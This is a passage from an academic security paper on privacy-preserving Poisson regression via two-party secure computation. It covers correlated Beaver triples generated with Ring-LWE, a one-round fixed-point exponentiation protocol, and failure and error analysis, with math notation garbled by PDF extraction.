We can also use a prime modulus q for our FP ring (instead
of 2l), embed fixed-point numbers into [0,2lx)∪ (q−2lx ,q) in
Fq, and define all of the above operations similarly over Fq.

Failure probability and approximation errors. The se-
cure computation of FP operations may come inbuilt with
some probability of failure as well as errors as a result of
truncation. We say that a protocol has failure probability pfail
and error ε if, except with probability pfail, the error in the un-
derlying fixed-point computation is bounded by ε. The failure
probability, similar to e.g., [19] can be made arbitrarily small
by increasing the gap between l and lx (see Appendix A).

Ring change. A final useful operation we introduce is
to switch between rings with different moduli. Given
N and N′, and a shared value JxKZN , the operation
RingChange(JxKZN ,ZN′) will output JxKZN′ , a sharing of x
(mod N′) in ZN′ . We will only require the operation for
N′ > N and when x is small (x < 2lx ) which allows us to
do this without any interaction. The protocol is detailed in
Appendix A.

4 Secure Poisson Regression Protocol

Protocol input. Recall that for Poisson regression (with ex-
posure), each of the n training samples is of the form (xi, ti,yi)
where xi contains m features, ti is the exposure value, and yi
is the response output. We use X to denote the n×m matrix
of training samples, T to denote the n×1 vector of exposures,
and Y to denote the n×1 vector of response values. We as-
sume that all entries are already represented as fixed-point
elements and shared between the two protocol parties. We
use JXK ,JYK ,JTK to denote the sharings.

Protocol parameters. Prior to the protocol, we require P0
and P1 to agree on the following parameters: (1) A fixed-point
ring R= (Z2l , lx, l f ); (2) An l bit prime q, and an exponent
bound (for the exponentiation protocol); (3) The regression
parameters α (learning rate), β (regularization term), and the
number of iterations K.

4.1 Basic Design

The goal of the regression protocol is to output a sharing of
a weights vector θ. For this, we use gradient descent, which
updates the weights at every iteration. Three variants are com-
monly used, which differ in the way the weights are updated:
(1) Standard, where the entire dataset is used for each itera-
tion; (2) Mini-batch, where a small random sample is used
for each iteration; and (3) Stochastic, where a single random
sample is used for each iteration. We chose to go with stan-
dard gradient descent in this paper, but note that our protocol
can be adapted for any variant.

Recall that in the update step of our gradient descent, the
weights for the (k+1)th iteration are updated as follows:

θ
(k+1) = (1−β)θ(k)+αXT

(
Y−T◦ eXθ

(k)
)

Let Jθ
(k)K denote a sharing of the weights vector after the

kth iteration. Parties start with Jθ
(0)K initialized randomly or

as shares of 0. Now, each iteration of our regression proceeds
as follows: (1) First, P0 and P1 compute the (fixed-point) ma-
trix multiplication JUK =

r
Xθ

(k)
z

. (2) Next, each element in
U is exponentiated (n exponentiations in total). Let JVK be
the sharing of the result after each term in JUK is exponenti-
ated; (3) Then, P0 and P1 compute an element-wise product
JWK= JT◦VK; (4) Next, P0 and P1 compute the (fixed-point)
matrix multiplication JZK =

q
XT (Y−W)

y
; (5) The remain-

ing computations (public multiplication by α), and addition
by (1−β)θ(k) can be computed locally, to end up with shares
of the updated weights θ

(k+1). Our protocol requires 4 rounds,
one for each of the first four steps. Figure 1 contains a detailed
description of our protocol. The element-wise product and
matrix multiplications, can be computed using the function-
ality Fmult and FmatMult respectively, and implemented using
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Secure Poisson Regression

Setup. P0 and P1 agree on a fixed-point ring R, a prime q,
and parameters for the Poisson regression: learning rate α, a
regularization term β, number of iterations K.
Input. Two parties have shares (JXKi ,JYKi ,JTKi) over R.
X ∈ Rn×m is the feature matrix where n is the number of
samples and m is the number of explanatory variables, Y ∈Rn

is the label vector, T ∈Rn is the exposure vector.

Protocol.

1. Both parties initialize shares Jθ
(0)K to 0m.

2. For k = 1 to K do:

(a) The parties make a call to FmatMult, and set JUK ←
FmatMult(JXK ,Jθ

(k−1)K).
(b) The parties make a call to FFPexp on each element of JUK.

Let JVK← FFPexp(e,JUK).
(c) The parties make calls to Fmult on corresponding element

of the vectors JTK and JVK. Let JWK← Fmult(JTK ,JVK).
(d) The parties compute JSK← JY−WK locally.
(e) The parties make a call to FmatMult, and set JZK ←

FmatMult(
q

XT y
,JSK).

(f) The parties update their share for θ locally:

Jθ
(k)K← (1−β) · Jθ

(k−1)K+α · JZK

Output. Party Pi outputs its share Jθ
(K)Ki.

Figure 1: 2PC protocol for Secure Poisson Regression.

matrix Beaver triples as preprocessing. The fixed-point ex-
ponentiations are computed using the functionality FFPexp,
which we describe in detail in Section 6.

Basic protocol cost. From the previous description, we note
that each gradient descent iteration computes 2 matrix compu-
tations (of sizes (n×m,m×1) and (m×n,n×1)), 1 element-
wise product for n size vectors, and n secure exponentiations.
By using the matrix Beaver triples optimization from [19], a
total of 2nm+n triples are enough in the preprocessing stage
(per iteration). In addition to this, we utilize further optimiza-
tions for batched multiplication that substantially improve the
performance of our protocol, when amortized over multiple
iterations. Our key observation for this optimization is that
the matrix multiplications in each iteration have X, or XT as
one of the multiplicands. In other words, for K iterations, we
have K multiplications of the form (X, ·) and K of the form
(XT , ·). This allows us to batch together the multiplications
in separate iterations using correlated randomness where one
of the matrices in the Beaver triple is reused. We detail this
optimization in Section 5, and defer the security proof that it
does not leak any extra information about the multiplicands
to the full version [16].

The n secure exponentiations in each iteration require a
total preprocessing of 2n field elements per party, and a com-
munication of n field elements per party (see Section 6). Note

that all of the exponentiations are independent and can be
done in parallel in a single round.

We discuss additional considerations on efficiency like
choosing the appropriate learning rate and using mini-batches
for training in the full version [16].

Failure probability. The fixed-point multiplication, and ex-
ponentiation operations have a small failure probability, which
depends on the chosen parameters. We compute the overall
failure probability for our regression protocol, which will be
helpful to choose appropriate parameters for a given accept-
able failure probability.

Consider R = (Z2l , lx, l f ), and Fq as parameters for our
regression protocol. Each fixed-point multiplication has a
failure probability of at most 2lx+1−l due to truncation. For
matrix multiplication between a (n×m), and a (m×k) matrix,
the failure probability is at most nk ·2lx+1−l (see [19]).

For each iteration of the regression, there are a total of
2(n+m) truncations for the multiplication steps (n each from
steps 2a and 2c, and m each for steps 2e and 2f), which add
up to a failure probability of (2n+ 2m) · 2lx+1−l . Addition-
ally, there are n exponentiations in step 2c, each of which
has a failure probability of at most 2lx+1/q (see Section 6
for details). Therefore, by the union bound, the total failure
probability of our regression protocol for K iterations is at
most K(2(n+m) ·2lx+1−l +n ·2lx+1/q). This dictates the pa-
rameter choices for the fixed-point ring and the prime field
required for an acceptable failure probability, say pfail < 2−40.
Note that the failure probability can be made arbitrarily small
by increasing l and q.

Standard Poisson regression. The secure regression proto-
col we described so far is for the general version of Poisson
regression with exposure. Standard Poisson regression does
not contain the exposure data (T). This means that for stan-
dard Poisson regression, the element-wise product between T
and eXθ

(k)
is no longer necessary. Therefore, we can reduce

one communication round, resulting in a 3-round protocol.
The other steps of our protocol remain exactly the same.

Secure Inference. A useful functionality, after the regres-
sion is complete, is to predict, or infer the value of the re-
sponse variable for future samples. Formally, given a sharing
JθK of the learned weights, the goal is evaluate a new sample
(JxK ,JtK), i.e., compute a sharing of the response y = exT θ.
We defer the protocol to the full version [16].

5 Optimized Batched Multiplication

We now describe our optimization for efficient computation
of many multiplications where one of the multiplicands stays
the same. More specifically, we want to compute K multiplica-
tions of the form XY j for secret shared matrices where X has
size n×m, and all Yi have size m× k. Pi is provided shares
JXKi ,JY1Ki , · · · ,JYKKi, and the goal now is to compute shares
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of the multiplications JZ jK = JXY jK (for j ∈ [1,K]) more ef-
ficiently. For this, we will use correlated randomness across
the multiplications and therefore need a single matrix sharing
JAK for the X multiplicand. We prove that this can be done
securely in the full version [16]. Formally, our preprocessing
requirement is now JAK ,JB1K , · · · ,JBKK ,JC1K , · · · ,JCKK. If
X is large compared to the Y j (as is the case in Poisson re-
gression), this optimization is significant since we only need
one matrix to mask X across all multiplications. Note that we
can use the same batch multiplication technique to compute
the element-wise product in our protocol.

The structure of the correlated Beaver triples allows them
to be efficiently generated in the offline phase via the use of
Ring-LWE. We detail the generation protocol in Section 5.1.
Online cost improvement. Correlated Beaver triples im-
prove the cost of our protocol significantly. In the online phase,
since X−A only needs to be reconstructed once instead of for
each multiplication, the amortized online communication per
multiplication for our technique is 2nm

K +2mk ring elements,
compared to 2nm+2mk using standard matrix Beaver triples
from [19]. In the setting of Poisson regression, since k = 1
typically, this results in a n+1

(n/K)+1 factor improvement for the
online phase, which is very close to (n+1) when K is large.
For example, if the number of training samples n = 1000 and
the model is trained over K = 1000 iterations, the commu-
nication cost of the online phase is reduced by 500 times if
correlated Beaver triples are used.

5.1 Improving The Offline Phase
Without any need for optimization, the correlated Beaver
triples can be generated in the offline phase using the two
approaches from SecureML [19]: OT-based and additive ho-
momorphic encryption (AHE) based. The latter, which uses
Paillier encryption, requires 190x less communication than
the former, but is more expensive computationally. Experi-
ments from [19] show that the AHE-based approach is better
in WAN network, while the OT-based is 20-30x faster in LAN
setting (See Table 2 in [19]).

We show how to significantly improve triple generation via
the use of Ring-LWE. Our approach works for any ring ZN
(N = 2l in our case) and does not rely on packing techniques
for Z2l as in [22] (where the number of slots is only φ(m)/5,
resulting in 80% space being wasted) or on the embedding of
plaintext values in a larger prime field of length 2 · l+σ+2 as
in [23] (which increases the communication and computation
cost by at least (2+(σ+2)/l) times).

In more detail, to generate K correlated Beaver triples,
our protocol proceeds as follows: First, P0 and P1 sample
random matrices to be shares of A and B1, · · · ,BK . Let
the shares held by Pi be JAKi ,JB1Ki , · · · ,JBKKi. In order to
obtain the shares of C j = AB j, the parties need to com-
pute the shares of JAKi JB jK1−i as JAKi JB jKi can then be
computed locally by each party Pi (since JC jK = JAB jK =

q
JAK0 JB jK0 + JAK1 JB jK1 + JAK0 JB jK1 + JAK1 JB jK0

y
). We

propose two different ways to compute the shares of
JAKi JB jK1−i. The first approach works better when the num-
ber of training samples n is large while the second approach
works better when the number of explanatory variables m
is small. We benchmark the cost to generate triples using
both approaches in Table 3 (Section 7.2), and also compare to
the Paillier encryption based approach used in [19]. Overall,
both of our approaches are significantly better than Paillier
encryption in terms of both communication and computation.

Approach I. P0 encrypts each column of the the ma-
trix JAK0 separately using Ring-LWE and sends the en-
crypted columns to P1. Define JB jK1 = (b1 j, · · · ,bm j)

T , Ai

as the ith column of JAK0, and Ei as Encsk(Ai) for 1 ≤ i ≤
m. P1 uses the additive homomorphic properties of Ring-
LWE to compute the encryption D j = ∑

m
i=1 bi jEi + R j =

Enc(JAK0 JB jK1 +R j). P1 sends the ciphertexts to P0 who
decrypts them to obtain

q
JAK0 JB jK1

y
0 = JAK0 JB jK1 +R j

while P1 has
q
JAK0 JB jK1

y
1 = −R j. If the number of train-

ing samples n is much smaller than the length of the ci-
phertext (say N, the degree of the cyclotomic polynomial
used in the Ring-LWE scheme), P1 can pack multiple D j
into a single ciphertext to optimize communication. As-
suming N = 2n, D0 = Enc(d1, · · · ,dn,0, · · · ,0), and D1 =
Enc(d′1, · · · ,d′n,0, · · · ,0), we can produce the ciphertext D′1 =
Enc(0, · · · ,0,d′1, · · · ,d′n) by multiplying D1 with the plaintext
message (0, · · · ,0,1,0, · · · ,0) which is zero everywhere ex-
cept for the ith position. Now, D01 = D0+D′1 is the ciphertext
containing (b1, · · · ,bn,b′1, · · · ,b′n). Similarly, if t = N/n, we
can pack t ciphertexts D j into one ciphertext. The parties now
reverse roles to compute shares of JAK1 JB jK0, and finally
shares of AB j.

To analyze the efficiency of this approach, first notice that
each party sends m ciphertexts and receives K ·n/N cipher-
texts. Now, if log(q) is the bitlength of the Ring-LWE cipher-
text modulus, then the cost to generate K correlated Beaver
triples is 2(m+Kn/N)N(2log(q)) = 4(mN+Kn) log(q) bits.
When K is very large (�mN), the amortized cost per triple is
roughly 4n log(q) bits. For 127-bit input, we use a ciphertext
modulus with length log(q) = 295. For Paillier encryption,
the amortized cost per triple is 2(m+ n) log(q′) bits where
q′ = 6144 is the length of the Paillier ciphertext. Since m < n
is typical for training data, our protocol uses at least 10x less
bandwidth than the AHE approach from [19]. Besides the
smaller communication cost, our approach also provides sig-
nificant gains in the computation time. To multiply a constant
with a ciphertext in Ring-LWE we only need to perform mul-
tiplications over field of size 295 bits. However, if Paillier
encryption is used, an exponentiation in group of size 6144
bits needs to be computed which is much more expensive.

In terms of computational cost, our protocol requires m×K
multiplications between a scalar and a ciphertext and K(1−
n/N) shift operations.
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Approach II. While the previous approach is efficient in
terms of communication, it results in a lot of wasteful com-
putation if the number of training samples n is much smaller
than the degree N of the cyclotomic polynomial used for Ring-
LWE. Our second approach therefore, will be geared towards
settings when n� N.

For this, P0 first encrypts each row of the matrix B =
(JB1K0 , · · · ,JBKK0) separately and sends the ciphertexts E j←
Encsk(B j) for 1 ≤ j ≤ m to P1. Now, P1 uses the additive
property of Ring-LWE to compute Di = ∑

m
j=1 ai jE j +Ri for

1 ≤ i ≤ n, where Di is the encryption of the ith row of the
matrix JAK1 B+R and R is a random matrix sampled by P1,
and sends the ciphertexts to P0. Note that when K is much
smaller than N, P1 can pack multiple ciphertexts into one
before sending them back to P0 to reduce the communication
cost. The packing is done by simply shifting the ciphertexts
as described in the first approach. P0 now decrypts the cipher-
texts to obtain

q
JAK1 JB jK0

y
0 = JAK1 JB jK0 +R j, while P1

sets
q
JAK1 JB jK0

y
1 =−R j. Similar to the first approach, the

two parties now reverse roles to compute shares of JAK1 JB jK0,
and finally shares of AB j.

Assume K� N (in our experiments, K = 1000 and N =
214). To analyze the efficiency of this approach, first no-
tice that P1 sends m ciphertexts to P1 and receives n ·K/N
ciphertexts. The communication cost to generate K corre-
lated Beaver triples is therefore 2(m+n ·K/N)N(2log(q)) =
4(mN +nK) log(q) bits. When mN < nK (for example, n =
1000,m = 10,N = 214,K = 1000), the amortized cost for one
triple is less than 8n log(q) bits, which is around 5x cheaper
than the AHE-based approach from [19]. In terms of compu-
tation, our protocol requires n×m multiplications between a
scalar and a ciphertext and n(1−K/N) shift operations. The
second approach is faster than the first one when n < K.

In our secure Poisson regression protocol, we also need to
generate the correlated Beaver triples for the multiplication
between shares of scalars Ti and Vi where Ti is fixed during
the training process. This is equivalent to having n=m= 1, so
the second approach will be used to generate these correlated
Beaver triples.

6 Secure Fixed-Point Exponentiation

In this section, we detail our novel secure fixed-point expo-
nentiation protocol. To simplify our analysis, our protocol
will mirror FFPexp functionality (Figure 2) rather than the pre-
viously defined FPExp operation. Note that due to truncation
errors, the two functionalities are not identical. However, we
will show later (in Section 6.4) that the result computed by
FFPexp is close to the actual fixed-point exponentiation re-
sult. Similar to the FPExp operation, the functionality FFPexp

will take as inputs a public base and a secret shared expo-
nent. Since we are working in a fixed-point ring, we will con-
sider our inputs to be the fixed-point representations rather

than the real numbers themselves. Given a fixed-point ring
R = (Z2l , lx, l f ), a public base b ∈ R∗, and a shared expo-
nent JxK, FFPexp(b,JxK) will compute a sharing of something

“close” to (̂˜b)(˜x). We benchmark our protocol and compare it
to existing works in Section 7.1. A more in-depth comparison
to related techniques is also provided in the full version [16].

6.1 Protocol Construction

It is straightforward to construct a protocol that realizes
the FFPexp functionality. First, we note that the PubFPMult,
FPAdd, RingChange, and PubFPDiv operations used in steps
1, 2, 4, 9, and 10 of FFPexp can all be computed by locally
manipulating the shares. Steps 3, 5 and 6 are also purely local
computations. The only point at which communication will
be necessary is to retrieve an additive sharing of y′ (steps 7, 8).
Effectively, here, P0 and P1 need to go from a multiplicative
sharing of y′ ∈ Fq to an additive sharing of the same y′.

To accomplish this, we use a 2-party variant of the efficient
MTA (multiplicative to additive) protocol from Ghodosi et
al. [14]. Suppose that P0 and P1 hold multiplicative shares m0
and m1 of a secret s in Fq. The protocol requires a tuple (αi,βi)
of preprocessed values (in Fq) such that α0α1 + β0β1 = 1.
Now, the MTA protocol proceeds as follows: First, P0 and P1
simultaneously send v0 = β0m0 and v1 = α1m1 respectively
to the other party. Then, P0 and P1 can compute a0 = α0m0v1
and a1 = β1m1v0. Note that a0 and a1 are the required ad-
ditive shares of s since a0 +a1 = α0m0α1m1 +β1m1β0m0 =
m0m1(α0α1 +β0β1) = s. [14] also shows that the shares are
individually uniformly random.

The source of the preprocessed values is not provided
in [14] but they are nevertheless easy to compute even with-
out a trusted dealer. For this, first, P0 samples u0,w0 and P1
samples α1,β1 uniformly at random from F×q . Next, the two
parties can securely compute r = u0α1 +w0β1, and resample
if r = 0. The probability that a resample is necessary is at most
1/(q−1). Finally, P0 can set α0 = u0r−1 and β0 = w0r−1,
where r−1 is the multiplicative inverse of r in F×q . Notice now,
that α0α1 + β0β1 = rr−1 = 1, as required. Note that since
the resample probability is negligible, the distribution of r is
negligibly close to uniformly random.

Since the only communication is through the MTA proto-
col, the security of our protocol securely realizing the FFPexp

functionality is a direct consequence of the security of the
MTA protocol. In total, our protocol requires only one round,
and a single field element sent by each party.

6.2 Protocol Details

We now describe the main technical components of why our
protocol is a useful proxy for computing the fixed-point expo-
nentiation. We defer the concrete error analysis to Section 6.4.
We begin with a simplified version of our protocol where
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Secure Fixed-Point Exponentiation Functionality FFPexp

Public Parameters. P0 and P1 agree on a fixed-point ring R= (Z2l , lx, l f ), an l-bit prime q < 2l , and an exponent bound A ∈ Z+.
Input. P0 and P1 have shares JxK ∈R∗, and a public real base b ∈ R+, satisfying˜x log2(b)> 1−A

Functionality.

1. Let
q

x′
y
← PubFPMult(JxK , ̂log2(b)) // Convert to base 2 exponentiation

2. Let JzK← FPAdd(
q

x′
y
, Â) // Make exponent > 1

3. Let (zint
i ,zfrac

i )←
(⌊

JzKi /2l f
⌋
,(JzKi /2l f )− zint

i

)
// Split into integer and fractional parts

4. Let (zint
0 ,zint

1 )← RingChange((zint
0 ,zint

1 ),Zq−1) // RingChange from Z2l−l f to Zq−1

5. Let (vint
i ,vfrac

i )← (2zint
i mod q,2zfrac

i ) // Exponentiate both parts

6. Let vi←
(

vint
i ·
⌊

2l f vfrac
i

⌋)
mod q // Get each party’s local share

7. Let y′← v0v1 mod q // Combine shares of both parties

8. Create a random additive sharing
q

y′
y

in Fq // Convert to additive shares

9. Let JyKFq ← PubFPDiv(
q

y′
y
,2l f +A) // Divide by the remaining factor

10. Let JyKZ2l ← RingChange(JyKFq ,Z2l ) // RingChange from Fq to Z2l

Figure 2: Functionality FFPexp

˜b = 2, and the exponent satisfies˜x > 1, and handle other ex-
ponents and other (positive) bases later.

Our strategy is as follows: (1) First, we split the exponen-
tiation into two parts: an integer part and a fractional part.
(2) Next, each part is exponentiated separately (and locally)
to get multiplicative shares of the final result (along with an
extra factor). (3) We then use a single round of interaction
to convert the multiplicative shares to additive shares. (4) Fi-
nally, each party can locally remove the extra factor to obtain
additive shares of the final result. We detail each step below.

Splitting the exponent. Let JzK be a sharing of the fixed-
point exponent, where P0 holds JzK0 and P1 holds JzK1.
We use z here (instead of x) to follow along with func-
tionality FFPexp, and standardize the notation for a gen-
eral base, since the first two steps there reduce the prob-
lem to a base 2 exponentiation (of a positive exponent).
The party Pi first splits its share JzKi as (zint

i ,zfrac
i ) where

zint
i =

⌊
JzKi /2l f

⌋
and zfrac

i = JzKi /2l f − zint
i = (JzKi mod

2l f )/2l f . Notice now that z = (JzK0 + JzK1 mod 2l) =
2l f
(
(zint

0 + zint
1 mod 2l−l f )+(zfrac

0 + zfrac
1 )

)
. Therefore,

2̃z =
(

2(z
int
0 +zint

1 ) mod 2l−l f
)
·
(

2zfrac
0 +zfrac

1

)
This allows us to exponentiate the integer and fractional parts
separately and combine them at a later step. Note that the two
integer and fractional exponent shares may not always sum up
to the actual integer and fractional parts of˜z respectively. This
is because the two fractional shares could add up to more than
1, leaving the integer shares to sum to

⌊
z/2l f

⌋
−1 mod 2l−l f .

Furthermore, our integer exponentiation requires the exponent

to be positive. This leads to our requirement of˜z > 1. We will
relax this assumption later.

Integer exponentiation. First, we observe that JwK0 = zint
0

and JwK1 = zint
1 form a sharing of w = (zint

0 + zint
1 mod 2l−l f )

over the ring R= Z
2l−l f . Denote this sharing by JwKR. Now,

we can use existing integer ring exponentiation techniques
(such as [8,21,29]) to compute 2w. These techniques however
require a few rounds of communication even for a public base.
Instead, here, we will describe an alternative method that can
be done locally in a way that will seamlessly combine with
the fractional exponentiation part.

For this, we assume that the parties have agreed on an l-bit
prime q (i.e., 2l−1 < q < 2l). We will first convert the shar-
ing of w in R to a sharing in Zq−1 using the RingChange
operation. Note that the ring size increases if at least 1 frac-
tional bit is present. Recall that since w is positive (from our
exponent assumption), with probability (1−2lx/q), the new
sharing JwKZq−1 will satisfy w+(q−1) = JwKZq−1

0 + JwKZq−1
1 .

Now, the two parties can exponentiate their shares locally
( mod q) to directly get a multiplicative sharing of 2w. This
works since,(

2JwK
Zq−1
0 mod q

)
·
(

2JwK
Zq−1
1 mod q

)
mod q

=
(
2w+q−1) mod q = 2w mod q

where the last step is due to Fermat’s little theorem. Let

vint
0 = 2JwK

Zq−1
0 mod q and vint

1 = 2JwK
Zq−1
1 mod q be the final

multiplicative shares (in Fq) of 2w held by P0 and P1.
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Fractional exponentiation. Let zfrac
0 and zfrac

1 be the frac-
tional exponents held by P0 and P1 respectively. Notice
that if both parties locally exponentiate (in R) their shares,
they would end up with multiplicative shares (in R) of the
fractional exponentiation result. Specifically, if Pi computes
vfrac

i = 2zfrac
i , then vfrac

0 · vfrac
1 = 2zfrac

0 +zfrac
1 . To allow for seam-

less integration with the integer exponentiation part, we have
Pi later compute

⌊
2l f · vfrac

i
⌋
. A crucial observation here is that

since 20 ≤ vfrac
i < 21,

⌊
2l f · vfrac

i
⌋

is small and positive, and
therefore it can also be viewed as an element in Fq. Further-
more, the multiplication (now in Fq), will not wrap around the
modulus q. This will allow vfrac

i and vint
i to be combined easily.

Note that the product will include an extra 2l f factor (apart
from the standard fractional fixed-point multiplier). Due to
truncation, the extra factor is necessary when first combining
the integer and fractional parts and will be divided out later.
This will become evident in our error analysis.
Combining the two parts. At this stage, Pi holds the result
of the integer exponentiation vint

i , and the result of the frac-
tional part vfrac

i . Let di =
⌊
2l f · vfrac

i
⌋
. Ignoring errors due to

truncation for now, we have:

(vint
0 · vint

1 ·d0 ·d1) mod q

≈
(

2(z
int
0 +zint

1 ) mod 2l−l f
)(

22l f
)(

2zfrac
0 +zfrac

1

)
mod q

= 22l f 2̃z mod q = 2l f (̂2̃z) mod q

This means that barring any truncation errors, if Pi computes
y′i = vint

i ·di mod q, then y′0y′1 mod q≈ (2l f )(̂2̃z). Now, P0 and
P1 convert the multiplicative shares of y′ = y′0y′1 to additive
ones through the MTA protocol which requires one round of
interaction. The leftover 2l f factor can be divided out through
local computation using PubFPDiv. Finally, both parties can
locally use the RingChange protocol to convert their shares
back to Z2l . Note that this conversion is once again from a
smaller to a larger ring since q < 2l . We will bound the error
resultant from truncation in Section 6.4.
Working with bases other than 2. Our Poisson regres-
sion usecase requires secure base e exponentiation, but so
far our protocol only works for base 2. To make it work
for any positive base b, we first observe that given a real
exponent u, bu = 2u log2(b). Consequently, as the first proto-
col step, the sharing JxK of the (base b) exponent in R will
be converted to a sharing JzK, of the equivalent base 2 ex-
ponent, where (˜z) = (˜x) log2(b). This can be computed as
JzK = PubFPMult(JxK , ̂log2(b)) and requires no interaction.
Working with exponents ≤ 1. We initially required our
fixed-point exponent to be greater than 1 since this guaran-
tees correctness for the integer ring exponentiation. To handle
other exponents, we will assume that there is an agreed upon
exponent bound A ∈ Z+, such that for base b and exponent
sharing JxK, it holds that (˜x log2(b))> 1−A, i.e., the most neg-
ative exponent for base 2 exponentiation still has an absolute

value of less than A−1. Suppose that Jx′K is the sharing of
the exponent after converting to a base 2 exponentiation. We
now need to ensure that ˜x′ > 1. This can be done by adding A
to the exponent, or equivalently, adding Â to the sharing using
FPAdd to get a new sharing JzK. At the end of the protocol,
the extra 2A factor will be divided out. We note that since the
2A factor will be present in intermediate steps, bothR and Fq
will need to be large enough to accommodate it.

Protocol cost and other considerations. Our exponentia-
tion protocol has a total online cost of 2 Fq elements (1 per
party), and a preprocessing cost of 4 Fq elements (2 per party).
We note that our protocol can easily be adapted to working
solely in the field Fq (with appropriately defined fixed-point
representation), rather than switching between our defined
fixed-point ring and Fq. This design is simpler but usually
much slower since common operations like multiplication,
truncation etc., are much faster over a ring Z2l , as compared
to a field. Therefore, for our purpose, it is far more cost effi-
cient to work mostly in Z2l (and Z

2l−l f ), and only switch to
Fq inside of the exponentiation subprotocol.

Assumption on the exponent bound. We emphasize that
our assumption of a minimum allowable exponent is not un-
reasonable in the context of fixed-point exponentiation. Given
l f fractional bits, 2(−z) where z > l f is already not repre-
sentable in the fixed-point ring. Consequently, this gives us
a natural bound on how negative the exponent can be for the
computation to even make sense. Of course, a tighter bound
A can be chosen if appropriate. This observation allows our
protocol to be orders of magnitude faster than prior work,
since it does not require an expensive bit decomposition to
first detect whether the exponent is negative; we can simply
add the bound to all exponents to always work with positive
exponents for the main protocol. One caveat is that we lose
the ability to detect if our predefined bound has been violated
without resorting to a bit decomposition, and our protocol may
produce incorrect results when the bound is incorrectly de-
fined or is exceeded during protocol execution. We point out
though, that this assumption is not unlike a standard assump-
tion of a large enough ring modulus to hold the fixed-point
computations, and similar assumptions appear in [4, 19].

Failure probability. We analyze the total failure probability
of our base 2 exponentiation protocol. First, suppose that the
(positive) base 2 exponent z is secret shared as (JzK0 ,JzK1).
With probability at least 1−2lx−l , we have JzK0+JzK1 = z+2l ,
i.e., the two shares wrap around Z2l . When this happens, the
integer components will also wrap around Z

2l−l f , and after the
RingChange to Zq−1, zint

0 and zint
1 will wrap around Zq−1 (see

Appendix A). Next, after the integer and fractional parts are
exponentiated combined, and converted from multiplicative
to additive shares, the random additive sharing of y′ in Fq will
also wrap around Fq with probability at least 1− 2lx

q . Finally,
the later PubFPDiv and RingChange back to Z2l steps will
work smoothly when the sharing of y′ wraps around Fq.

800    31st USENIX Security Symposium USENIX Association



Therefore, using the union bound, we can bound the
total failure probability of the exponentiation protocol as
2lx−l + 2lx/q < 2lx+1/q, since we use q < 2l . Given the ex-
ponent bound A, choosing lx = 2A + 2l f is sufficient, and
therefore, we can rewrite the bound as 22A+2l f +1/q. Note that
the failure probability can easily made as small as necessary
by increasing the size of Fq, and our fixed-point ring. For ex-
ample, to achieve pfail < 2−40, with l f = 15 bits of precision,
and A = 5, roughly an 81-bit modulus will be required.

6.3 Other Considerations

Alternate 2-round protocol. We also describe an alternate
2-round variant of our exponentiation protocol. Here, instead
of combining the integer and fractional exponentiation shares
locally first, the MTA protocol is used to retrieve additive
shares of the integer and fractional result separately. Note
that this can be done simultaneously in 1 round. Finally, in
the second round, shares of both results can be combined
through a single secure multiplication. In total, 8 Fq elements
are transmitted in the online phase, and 14 Fq elements are
required for preprocessing. While the communication cost
is larger than the previously described 1-round protocol, one
upshot of this construction is that it can tolerate a smaller ring
size. Recall that in the 1-round protocol, the full result along
with an extra 2l f factor needs to fit in the ring. This is no
longer necessary for the 2-round protocol and depending on
the usecase and the number of fractional bits used, the trade-
off may be acceptable. For our regression usecase however,
there are other constraints that increase the size of the fixed
point ring. Furthermore, in practice, the computational gain
as a result of a smaller ring size (in the order of microseconds
for our construction), will almost certainly be overshadowed
by the extra communication round (usually in the order of
milliseconds). Therefore, we use the 1-round protocol that
optimizes for communication cost.
Malicious security. Although our secure fixed-point expo-
nentiation protocol operates exclusively in the semi-honest
setting, we comment briefly on the challenges of extending it
to a maliciously secure version. One possible technique is for
the protocol parties to operate on authenticated shares [20]
and use generic zero-knowledge proofs to prove that each
party performs their steps correctly. However, doing so would
likely reduce the efficiency gains of our protocol substantially.
In particular, a key step in our protocol is separating the expo-
nentiation into integer and fractional parts, following which
the fractional part can be exponentiated locally in real num-
bers (or floating point) and still be seamlessly combined with
the integer exponentiation part. In the malicious setting, it is
expensive to prove that these steps were performed correctly,
and it may be more efficient to use a polynomial approxima-
tion instead for the fractional exponentiation, together with
cut-and-choose or ZK techniques to prove correctness. We
leave these explorations for future work.

6.4 Error Analysis
We will now compute a bound on the error of our exponen-
tiation protocol for base 2. For this, we will compute the
difference between the result computed by FFPexp and the
actual exponentiation (in real numbers).

Let JzK be a sharing of the (base 2) exponent in the fixed-
point ringR= (Z2l , lx, l f ), that computes the exponentiation
2(˜z) (in R). First, we note that the integer exponentiation pro-
duces no error; the only error results from the truncation in
the fractional part and its subsequent combination with the
exponentiation of the integer part. Let zint

i and zfrac
i denote the

integer and fractional parts of the underlying fixed-point of
the share JzKi, after (zint

0 ,zint
1 ) has undergone a RingChange to

become a sharing in Zq−1. Note that no error is added by the
RingChange. It is easy to see that the true computation 2̃z can
be written as 2(z

int
0 +zint

1 mod q−1)2zfrac
0 2zfrac

1 .
Following FFPexp, we first compute vint

i = 2zint
i mod q,

and vfrac
i = 2zfrac

i , and combine them to get vi = (vint
i ·⌊

2l f vfrac
i
⌋
) mod q. Since vfrac

i is a positive real, suppose
that vfrac

i = di + εi, where 0 ≤ εi < 2−l f . In other words,
εi is the part not representable in l f fractional bits. Now,
vi =

(
vint

i ·2l f · (vfrac
i − εi)

)
mod q. Consequently,

y′ = 22l f · vint
0 · vint

1 · (vfrac
0 − ε0) · (vfrac

1 − ε1) mod q

= 22l f ·2(zint
0 +zint

1 mod q−1) · (vfrac
0 − ε0) · (vfrac

1 − ε1)

= 22l f [2(z
int
0 +zint

1 mod q−1)

(vfrac
0 vfrac

1 − ε0vfrac
1 − ε1vfrac

0 + ε0ε1)]

= 22l f [2(˜z)+2(z
int
0 +zint

1 mod q−1)(−ε0vfrac
1 − ε1vfrac

0 + ε0ε1)]

where the mod q can be removed from step 2 onwards, since
Fq is large enough to accommodate the entire intermediate
result. Now, 2(z

int
0 +zint

1 mod q−1) = 2(˜z)/(vfrac
0 · vfrac

1 ), and 1 ≤
vfrac

i < 2 and therefore,

22l f

[
2(˜z)−2(˜z) ·2−l f

(vfrac
0 + vfrac

1 )

vfrac
0 vfrac

1

]
< y′ < 22l f

[
2(˜z)+2(˜z) ·2−2l f

]
This gives,

2l f 2(˜z)(2l f −2)< y′ < 2l f 2(˜z)(2l f +2−l f )

Now, y← PubFPDiv(Jy′K ,2l f ) results in an additional poten-
tial error of at most ±1. That is,

−1+2(˜z)(2l f −2)< y < 1+2(˜z)(2l f +2−l f )

In other words, the computed fixed-point number˜y = y/2l f

